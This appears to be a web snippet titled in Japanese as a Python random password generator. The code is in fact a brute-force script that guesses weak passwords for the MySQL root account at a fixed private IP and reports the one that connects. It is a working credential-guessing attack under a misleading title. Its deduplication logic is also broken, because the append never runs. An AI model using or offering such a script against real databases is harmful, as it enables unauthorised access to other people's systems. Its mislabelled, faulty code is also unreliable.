Python でランダムなパスワードを生成する方法

#coding=utf8
import random,string,MySQLdb
def get_num():
  return random.randint(0,9)
def get_char():
  return random.choice(tuple(string.lowercase))
def choose_any():
  return [str(get_num()),get_char()]
def get_weak_num():
  weak_num=[]
  initial_num=get_num()
  for i in range(get_num()):
    weak_num.append(str(initial_num+i))
    if initial_num +i ==9:
      break;
  return weak_num
def get_weak_character():
  weak_character=[]
  initial_character=get_char()
  for i in range(get_num()):
    weak_character.append(chr(ord(initial_character)+i))
    if chr(ord(initial_character)+i) == 'z':
      break
  return weak_character
def get_weak_num_character():
  return [random.choice(choose_any()) for num in range(get_num())]
password_exist=[]
for i in range(10000):
  choice = [get_weak_num(), get_weak_character(), get_weak_num_character()]
  password=''.join(random.choice(choice))
  print "第"+str(i)+"次密码为："+password
  if password in password_exist:
    continue
  else:
    try:
      MySQLdb.connect('192.168.244.145', 'root', password)
      print 'The password for MySQL is:'+password
      break
    except:
      continue
    password_exist.append(password)
if i == 9999:
  print 'The password is not so weak~'